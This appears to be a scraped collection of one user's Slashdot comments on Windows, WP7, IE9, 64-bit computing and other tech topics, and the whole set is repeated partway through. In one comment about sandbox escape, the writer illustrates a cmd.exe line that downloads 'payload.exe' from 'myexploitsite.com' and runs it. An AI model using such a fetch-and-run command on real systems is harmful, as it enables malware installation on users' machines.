I've never used it, but DirectAccess (http://technet.microsoft.com/en-us/network/dd420463.aspx) might be vaguely what you're looking for. It looks like does some sort of behind-the-scenes VPN for you.
The catch is that it's only availabe on Enterprise SKU (and maybe Ultimate?) so not practical for most home users.
Umm... who the hell cares? If you can launch a Medium IL process, then you're out of the sandbox and can launch *any* medium IL process, even if it's from \WIndows\System32\ on the local box. For example, you could instead launch \Windows\System32\cmd.exe/C "ftp myexploitsite.com/payload.exe" && payload.exe Commands simplified for readability, but you can do this. You probably won't have Admin, but you can still do a lot of damage - and if the user is one of those idiots who decided that UAC is too much hassle to deal with, then their whole box can be taken over.
That' not actually true anymore. tarting with 2008, a lot of the code started to be merged, and 2010 and 2011 are something like 80% the same codebase - the difference is just in the UI and the underpinnings that communicate with the OS, plus some additions to the Mac version to provide things that the Windows version expects to have in the OS (like COM/OLE).
It violates what we currently know how to do, in Physics. 100 years ago, we didn't know how to produce anything like a laser, or how to split or fuse atomic nuclei on demand, or how to pack a billion switches onto a square inch of silicon. Today, we don't know how to bend spacetime in a way that lets us travel faster than the speed of light (according to an outside observer).
Damn good thing, too. I have no particular love for the credit card companies, but I trust them to act in their best interest here, which is: A) Ensure that people are happy with using their credit cards (which means their data isn't getting stolen, and they aren't needing to replace their cards, and ideally anybody whose card info did get stolen gets it re-issued with a new number and expiration immediately). B) Ensure that they aren't going to have to eat a bunch of fraudulent charges (a large batch of fraudulent charges is a huge headache, and possibly impacts their bottom line; I believe in a case like this they can make Sony pay instead though). C) Ensure that this won't happen again next month (meaning Sony has to actually get their security right this time).
These goals are either beneficial or irrelevant to me, as a credit card user. However, they contrast strongly with Sony's interests, which are: A) Get PSN et. al. up again ASAP (customers want this, but if it's not secure this time they'll just be attacked again). B) Get people to pay them money again (the credit card agencies won't allow this while there's a high risk of that info getting stolen). C) PR damage control (sorry guys, you screwed the pooch and have already lost your reputation for security).
The only one of those that benefits anybody outside the company is (A), (B) would help the credit card companies except I'm sure this fiasco cost them, and (C) is arguably detrimental to the ability of customers to make informed decisions.
Space elevators are theoretically possible with modern material science, and that science is still advancing. There are other problems to be worked out, of course, but they are *being* worked out already.
I'm not saying I'm sure we'll see a space elevator in my lifetime, but I wouldn't bet against it. There's a huge technological advantage to having one; every other option requires either lifting all the power to get out of the gravity well with you (and nothing short of nuclear energy will do that with sufficiently high energy density to move beyond the "marginal" category that rockets are in), or requires providing all the energy necessary to escape gravity in an extremely short time (the guns you mention).
More conveniently, delete %APPDATA%\macromedia\. It's a bit longer than ~, but %APPDATA% or %USERPROFILE% are handy variables to know about. You can enter them into Explorer just file, also.
Also, technically Windows does have an Excute bit (lots of them, even - one for each ACL, allowing you to permit or deny on a fine-grained basis).
Of course, Windows also has a distinct tendency to default the Execute permission to Enabled. This is a terrible idea, but 9x didn't have file permissions at all, and most people seem completley unaware that NT has them, so it would be a huge problem for Microsoft to change the default behavior.
Um, C# is also used on WP7. WinMo supported native development, which WP7 doesn't (officially, it's possible unofficially) but the encouraged path was to use managed code. The UI needs to be re-written to use Silverlight, but the functional code can be re-used without any modification in many cases.
Umm... way to comment with absolutley no <expletive deleted> clue what you're talking about. That argument may be valid for Android, which is avialb le on a wide range of hardware including some very low-end devices, but all WP7 phones have to meet a pretty high-end spec (1GHz proc, 800x480 resolution, 512MB of RAM, certain GPU requirements, 4-point multi-touch, and a suite of sensors). There are better phones available, of course, but only recently; that specification was finalized somewhere near a year ago. Additionally, it's a minimum, not an exact requirement. Presumably, the minimum spec will be updated over time.
For the record, the iPhone 4 may meet the CPU spec (the iPad does, but only just; it's unknown whether the iPhone cloock speed is the same). I believe it meets the GPU spec, but I'm not sure about that. It meets the RAM spec. It exceeds the minimum resolution but has the minimum viewable screen area. It meets the sensor spec, including an optional feature (gyro) and adds a second camera. It exceeds the minimum storage. Sounds good, right?
On the other hand, if you're writing apps for Apple you probably want to support the 3GS as well. The 3GS fails almost every portion of the WP7 spec except sensors. In particular, it's slower, has less RAM, and has a low-resolution display - overall, it's a much less powerful device. Given its age, that's completely reasonable, but it's still an argument against targeting iOS for development - you've either got to support old devices with much worse hardware, or you've got to exclude everybody who hasn't upgraded to the newest generation.
What's your beef with Opera's standards support? It's certainly better than Firefox's, and about on par with Chrome (among other things, it tied Chrome for the first working ACID3 implementation).
That was a focus-specific issue, so far as I've seen. (I live in Seattle, and know several people with different WP7 devices. Only Focus owners complained about the stuttering.) Agreed that it's pretty awful to have on a new OS, but that's more a "v1 OS with specific hardware" issue than a "MS can't code a mobile music player" issues, since the Zune line of hardware and HTC-based WP7 phones didn't seem to experience that issue.
Wow, clueless much? This update fiasco is ridiculous, but that's no reason to spread such complete bullshit. It has nothing whatsoever to do with
WP7 developers, because this is an OS update, not an app.
Silverlight based.NET development tools, because this is the native ARM code of the OS, not the app-layer stuff.
Pointy-clicky development environment... WTF? That doesn't even really apply to Silverlight, much less to an OS update
"pretty much clueless" is an easy insult to swing at a company like Microsoft, but it just isn't valid. Like it or not, they employ a ton of quite good software developers
Dumbing down development... WTF? Even if this stuff was.NET (it's not), MS still has a ton of people who do OS development in C and C++.
Your post is so riddled with sheer stupidity it's almost like you're trolling the anti-MS folks, although your line about "can't get an update to work on a haldful of phone models" is pretty close. Out of 10 phone models, 2 are having trouble with the update. That's actually still a better percentage of phones receiving updates than Android has, but nonetheless pretty bad.
To be fair, the Active Desktop idea was really cool, and arguably well ahead of its time; call them Gadgets or Widgets or Plasmoids or Applets, dynamically updating graphical background software has become fairly common on modern desktops, and a lot of it is either directly written or web development languages or is designed to pull data from the web (or both).
Mind you, the implementation of AD was absolutely terrible. It was a significant performance hit to enable, absurdly unstable, and had massive security holes (as IE in general did, back then). Also, that was before the general concept of web apps really took off; much of the web was still static content and a lot of the dynamic stuff that people like to see now, like Twitter feeds and Facebook games, didn't exist at all. Stock tickers, sports scores, and weather updates were about the extent of what I rmeember people doing with it back in the late 90s.
I don't know of any leaked build, but at MIX they demoed IE10 running on ARM, which means running on Win8. They showed the system specs screen too, and it wasn't anything dramatic - dual-core 1GHz or something like that. The only app they really demoed on it was the browser, but considering it was easily smoking Chrome on a much beefier (and x86) machine, the OS can't have been imposing that much overhead.
Third-party PDF readers tend to have terrible security issues (Foxit is the canonical example, not a counterexample, in case you're curious). They mostly skate by because everybody targets the marketshare, since that's what makes the most money (malware being all about money these days). I would never suggest that everybody should use Adobe Reader, but it's actually a lot harder to find an exploit which works against it than it is to find one against (for example) Apple Preview.
Where does Microsoft enter into this? Well, they have a *ton* of experience hardening code. People tend to remember the early days of IIS and IE, but those were the wake-up call to MS that being a success also makes you a big target, and you've got to armor yourself against all the attacks that will bring. Today, MS software is actually quite good on security. I think there's a decent chance that they could make a PDF reader, and get the security right.
This is the company that used a constant instead of a random value to feed a critical encryption algorithm in their flagship product. You really think they understand password security? Even if they hashed the passwords, what do you figure the odds are that they salted, much less peppered, them? Apply rainbow tables and go home happy, since i can't imagine many of the users would have bothered with a particularly secure password.
For the record, SC:BW runs great under Wine, including the official NoCD patch and battle.net (or LAN). Some people have complained that it has higher latency than on Windows, but it also crashes less than on the latest Windows versions, so it may be a wash. (I'd forgotten how bad the play drop experience was in SC, and even WC3, after so much time playing RTS with better handling of this event... these days, it's just "Pause please, I need to reboot my computer to fix the lag" and he's back in a couple minutes.)
It probably went faster because 64-bit-wide registers can hold more characters in them for comparison at once. Wider registers aren't just good for numbers. That's only a guess, though; I don't know how the string replace function is actually implemented, or if there was something special about the data you were working on.
Ccache coherency affects single-processor systems too. The larger your binary instructions, the fewer of them fit in a given cache line and the more often you'll need to go to memory. One advantage of x86 is that its multi-length instructions let a large number of the most common instructions fit into size that an ISA like MIPS would only be able to get a couple instructions into. 64-bit reduces that, somewhat (pointer addresses, etc.).
There's actually a downside to 64-bit as well: cache coherency is poorer, so unless you're actually taking advantage of 64-bit capabilities your Notepad or other simple app might actually be a little bit slower because cache misses will occur more often.
Yes, it can work with Java. VS is extremely pluggable. You can create a project type that calls the Java builds tools, understands the Java language, and so forth. Even the debugger is pluggable, although the only non-VS debugger I've used with it is also written by MS.
It's not one laser firing one beam that ignites the fuel. Instead you use multiple lasers firing in a pattern that intersects at one point in the middle of the cylinder. No single beam is powerful enough to ignite the fuel, so the situation you mention doesn't occur. It requires a different cylinder design and different fuel/air ratio for maximum efficiency, but that maximum efficiency is higher than a spark plug ignited engine can get.
Yeah - this calls for a different cylinder design. A more efficient one, provided you can ignite the fuel/air mizture in the midle of the cylinder (which is done by having multiple beams pulse such that they intersect on one spot).
I take it you have no experience with the latest IE version? IE9 is faster than Firefox on Slashdot, and I has features I can't really get on Chrome (automated blocking of third-party content, for example). Security-wise, it has held up quite well. I also have Opera installed, but it gets very little use since IE9 came out.
On Linux, I use Konqueror and Firefox, but neither one is as good an experience.
Exactly. In this particular case, it's the video driver interface. IE9 and up use your video hardware to accelerate their rendering. This gives them excellent speed on all those flash Canvas and SVG demos. Technically it can be done in software instead, but the resulting performance is pretty bad (think wose than Firefox 3.6, which had pretty good compatibility but relatively slow rendering compared to IE9 and FF4).
The catch is that the way IE9 gets this great performance is by using features exposed by WDDM, the new Windows Display Driver Model that was introduced in NT6 (Vista). Devices using this model for their drivers are required to have certain capabilities that the older spec didn't require, and new APIs were made available that take advantage of this. There's nothing wrong with doing this; using a published API (even one that didn't exist in the last version of the OS) hardly counts as "interact[ing] with your computer in a way no browser should need to."
Now, technically, Microsoft could have made IE9 work on XP, and even gotten some hardware acceleration by using the legacy interface. However, this would have dramatically increased the development and test costs, since in effect they'd have been adding a third, entirely new rendering mode: software, WDDM, and now legacy-hardware-accelerated. Even just forcing XP to use software rendering wuld have added a lot to the test requirements, and those users wouldn't have gotten the "native speed" experience that they're making such a big deal out of in that case.
As for IE10, I'm pretty sure the idea behind dropping Vista support is just to reduce the test requirements. It's not like there are going to be enough Vista users left in the world next year* for this to be a big deal. Besides, Vista can't do the much-vaunted "pin a website to the taskbar" trick nearly so well as Win7.
* I have no info on when it's coming out beyond what has been publicly announced, but this seems like a reasonable estimate for the soonest that could be.
Slashdot Mirror
I've never used it, but DirectAccess (http://technet.microsoft.com/en-us/network/dd420463.aspx) might be vaguely what you're looking for. It looks like does some sort of behind-the-scenes VPN for you.
The catch is that it's only availabe on Enterprise SKU (and maybe Ultimate?) so not practical for most home users.
Umm... who the hell cares? If you can launch a Medium IL process, then you're out of the sandbox and can launch *any* medium IL process, even if it's from \WIndows\System32\ on the local box. For example, you could instead launch /C "ftp myexploitsite.com/payload.exe" && payload.exe
\Windows\System32\cmd.exe
Commands simplified for readability, but you can do this. You probably won't have Admin, but you can still do a lot of damage - and if the user is one of those idiots who decided that UAC is too much hassle to deal with, then their whole box can be taken over.
That' not actually true anymore. tarting with 2008, a lot of the code started to be merged, and 2010 and 2011 are something like 80% the same codebase - the difference is just in the UI and the underpinnings that communicate with the OS, plus some additions to the Mac version to provide things that the Windows version expects to have in the OS (like COM/OLE).
It violates what we currently know how to do, in Physics. 100 years ago, we didn't know how to produce anything like a laser, or how to split or fuse atomic nuclei on demand, or how to pack a billion switches onto a square inch of silicon. Today, we don't know how to bend spacetime in a way that lets us travel faster than the speed of light (according to an outside observer).
http://en.wikipedia.org/wiki/Alcubierre_drive
Damn good thing, too. I have no particular love for the credit card companies, but I trust them to act in their best interest here, which is:
A) Ensure that people are happy with using their credit cards (which means their data isn't getting stolen, and they aren't needing to replace their cards, and ideally anybody whose card info did get stolen gets it re-issued with a new number and expiration immediately).
B) Ensure that they aren't going to have to eat a bunch of fraudulent charges (a large batch of fraudulent charges is a huge headache, and possibly impacts their bottom line; I believe in a case like this they can make Sony pay instead though).
C) Ensure that this won't happen again next month (meaning Sony has to actually get their security right this time).
These goals are either beneficial or irrelevant to me, as a credit card user. However, they contrast strongly with Sony's interests, which are:
A) Get PSN et. al. up again ASAP (customers want this, but if it's not secure this time they'll just be attacked again).
B) Get people to pay them money again (the credit card agencies won't allow this while there's a high risk of that info getting stolen).
C) PR damage control (sorry guys, you screwed the pooch and have already lost your reputation for security).
The only one of those that benefits anybody outside the company is (A), (B) would help the credit card companies except I'm sure this fiasco cost them, and (C) is arguably detrimental to the ability of customers to make informed decisions.
Space elevators are theoretically possible with modern material science, and that science is still advancing. There are other problems to be worked out, of course, but they are *being* worked out already.
I'm not saying I'm sure we'll see a space elevator in my lifetime, but I wouldn't bet against it. There's a huge technological advantage to having one; every other option requires either lifting all the power to get out of the gravity well with you (and nothing short of nuclear energy will do that with sufficiently high energy density to move beyond the "marginal" category that rockets are in), or requires providing all the energy necessary to escape gravity in an extremely short time (the guns you mention).
More conveniently, delete %APPDATA%\macromedia\. It's a bit longer than ~, but %APPDATA% or %USERPROFILE% are handy variables to know about. You can enter them into Explorer just file, also.
Also, technically Windows does have an Excute bit (lots of them, even - one for each ACL, allowing you to permit or deny on a fine-grained basis).
Of course, Windows also has a distinct tendency to default the Execute permission to Enabled. This is a terrible idea, but 9x didn't have file permissions at all, and most people seem completley unaware that NT has them, so it would be a huge problem for Microsoft to change the default behavior.
Um, C# is also used on WP7. WinMo supported native development, which WP7 doesn't (officially, it's possible unofficially) but the encouraged path was to use managed code. The UI needs to be re-written to use Silverlight, but the functional code can be re-used without any modification in many cases.
Umm... way to comment with absolutley no <expletive deleted> clue what you're talking about. That argument may be valid for Android, which is avialb le on a wide range of hardware including some very low-end devices, but all WP7 phones have to meet a pretty high-end spec (1GHz proc, 800x480 resolution, 512MB of RAM, certain GPU requirements, 4-point multi-touch, and a suite of sensors). There are better phones available, of course, but only recently; that specification was finalized somewhere near a year ago. Additionally, it's a minimum, not an exact requirement. Presumably, the minimum spec will be updated over time.
For the record, the iPhone 4 may meet the CPU spec (the iPad does, but only just; it's unknown whether the iPhone cloock speed is the same). I believe it meets the GPU spec, but I'm not sure about that. It meets the RAM spec. It exceeds the minimum resolution but has the minimum viewable screen area. It meets the sensor spec, including an optional feature (gyro) and adds a second camera. It exceeds the minimum storage. Sounds good, right?
On the other hand, if you're writing apps for Apple you probably want to support the 3GS as well. The 3GS fails almost every portion of the WP7 spec except sensors. In particular, it's slower, has less RAM, and has a low-resolution display - overall, it's a much less powerful device. Given its age, that's completely reasonable, but it's still an argument against targeting iOS for development - you've either got to support old devices with much worse hardware, or you've got to exclude everybody who hasn't upgraded to the newest generation.
What's your beef with Opera's standards support? It's certainly better than Firefox's, and about on par with Chrome (among other things, it tied Chrome for the first working ACID3 implementation).
That was a focus-specific issue, so far as I've seen. (I live in Seattle, and know several people with different WP7 devices. Only Focus owners complained about the stuttering.) Agreed that it's pretty awful to have on a new OS, but that's more a "v1 OS with specific hardware" issue than a "MS can't code a mobile music player" issues, since the Zune line of hardware and HTC-based WP7 phones didn't seem to experience that issue.
Wow, clueless much? This update fiasco is ridiculous, but that's no reason to spread such complete bullshit. It has nothing whatsoever to do with
Your post is so riddled with sheer stupidity it's almost like you're trolling the anti-MS folks, although your line about "can't get an update to work on a haldful of phone models" is pretty close. Out of 10 phone models, 2 are having trouble with the update. That's actually still a better percentage of phones receiving updates than Android has, but nonetheless pretty bad.
To be fair, the Active Desktop idea was really cool, and arguably well ahead of its time; call them Gadgets or Widgets or Plasmoids or Applets, dynamically updating graphical background software has become fairly common on modern desktops, and a lot of it is either directly written or web development languages or is designed to pull data from the web (or both).
Mind you, the implementation of AD was absolutely terrible. It was a significant performance hit to enable, absurdly unstable, and had massive security holes (as IE in general did, back then). Also, that was before the general concept of web apps really took off; much of the web was still static content and a lot of the dynamic stuff that people like to see now, like Twitter feeds and Facebook games, didn't exist at all. Stock tickers, sports scores, and weather updates were about the extent of what I rmeember people doing with it back in the late 90s.
I don't know of any leaked build, but at MIX they demoed IE10 running on ARM, which means running on Win8. They showed the system specs screen too, and it wasn't anything dramatic - dual-core 1GHz or something like that. The only app they really demoed on it was the browser, but considering it was easily smoking Chrome on a much beefier (and x86) machine, the OS can't have been imposing that much overhead.
Third-party PDF readers tend to have terrible security issues (Foxit is the canonical example, not a counterexample, in case you're curious). They mostly skate by because everybody targets the marketshare, since that's what makes the most money (malware being all about money these days). I would never suggest that everybody should use Adobe Reader, but it's actually a lot harder to find an exploit which works against it than it is to find one against (for example) Apple Preview.
Where does Microsoft enter into this? Well, they have a *ton* of experience hardening code. People tend to remember the early days of IIS and IE, but those were the wake-up call to MS that being a success also makes you a big target, and you've got to armor yourself against all the attacks that will bring. Today, MS software is actually quite good on security. I think there's a decent chance that they could make a PDF reader, and get the security right.
This is the company that used a constant instead of a random value to feed a critical encryption algorithm in their flagship product. You really think they understand password security? Even if they hashed the passwords, what do you figure the odds are that they salted, much less peppered, them? Apply rainbow tables and go home happy, since i can't imagine many of the users would have bothered with a particularly secure password.
For the record, SC:BW runs great under Wine, including the official NoCD patch and battle.net (or LAN). Some people have complained that it has higher latency than on Windows, but it also crashes less than on the latest Windows versions, so it may be a wash. (I'd forgotten how bad the play drop experience was in SC, and even WC3, after so much time playing RTS with better handling of this event... these days, it's just "Pause please, I need to reboot my computer to fix the lag" and he's back in a couple minutes.)
It probably went faster because 64-bit-wide registers can hold more characters in them for comparison at once. Wider registers aren't just good for numbers. That's only a guess, though; I don't know how the string replace function is actually implemented, or if there was something special about the data you were working on.
Ccache coherency affects single-processor systems too. The larger your binary instructions, the fewer of them fit in a given cache line and the more often you'll need to go to memory. One advantage of x86 is that its multi-length instructions let a large number of the most common instructions fit into size that an ISA like MIPS would only be able to get a couple instructions into. 64-bit reduces that, somewhat (pointer addresses, etc.).
There's actually a downside to 64-bit as well: cache coherency is poorer, so unless you're actually taking advantage of 64-bit capabilities your Notepad or other simple app might actually be a little bit slower because cache misses will occur more often.
Yes, it can work with Java. VS is extremely pluggable. You can create a project type that calls the Java builds tools, understands the Java language, and so forth. Even the debugger is pluggable, although the only non-VS debugger I've used with it is also written by MS.
It's not one laser firing one beam that ignites the fuel. Instead you use multiple lasers firing in a pattern that intersects at one point in the middle of the cylinder. No single beam is powerful enough to ignite the fuel, so the situation you mention doesn't occur. It requires a different cylinder design and different fuel/air ratio for maximum efficiency, but that maximum efficiency is higher than a spark plug ignited engine can get.
Yeah - this calls for a different cylinder design. A more efficient one, provided you can ignite the fuel/air mizture in the midle of the cylinder (which is done by having multiple beams pulse such that they intersect on one spot).
I take it you have no experience with the latest IE version? IE9 is faster than Firefox on Slashdot, and I has features I can't really get on Chrome (automated blocking of third-party content, for example). Security-wise, it has held up quite well. I also have Opera installed, but it gets very little use since IE9 came out.
On Linux, I use Konqueror and Firefox, but neither one is as good an experience.
Exactly. In this particular case, it's the video driver interface. IE9 and up use your video hardware to accelerate their rendering. This gives them excellent speed on all those flash Canvas and SVG demos. Technically it can be done in software instead, but the resulting performance is pretty bad (think wose than Firefox 3.6, which had pretty good compatibility but relatively slow rendering compared to IE9 and FF4).
The catch is that the way IE9 gets this great performance is by using features exposed by WDDM, the new Windows Display Driver Model that was introduced in NT6 (Vista). Devices using this model for their drivers are required to have certain capabilities that the older spec didn't require, and new APIs were made available that take advantage of this. There's nothing wrong with doing this; using a published API (even one that didn't exist in the last version of the OS) hardly counts as "interact[ing] with your computer in a way no browser should need to."
Now, technically, Microsoft could have made IE9 work on XP, and even gotten some hardware acceleration by using the legacy interface. However, this would have dramatically increased the development and test costs, since in effect they'd have been adding a third, entirely new rendering mode: software, WDDM, and now legacy-hardware-accelerated. Even just forcing XP to use software rendering wuld have added a lot to the test requirements, and those users wouldn't have gotten the "native speed" experience that they're making such a big deal out of in that case.
As for IE10, I'm pretty sure the idea behind dropping Vista support is just to reduce the test requirements. It's not like there are going to be enough Vista users left in the world next year* for this to be a big deal. Besides, Vista can't do the much-vaunted "pin a website to the taskbar" trick nearly so well as Win7.
* I have no info on when it's coming out beyond what has been publicly announced, but this seems like a reasonable estimate for the soonest that could be.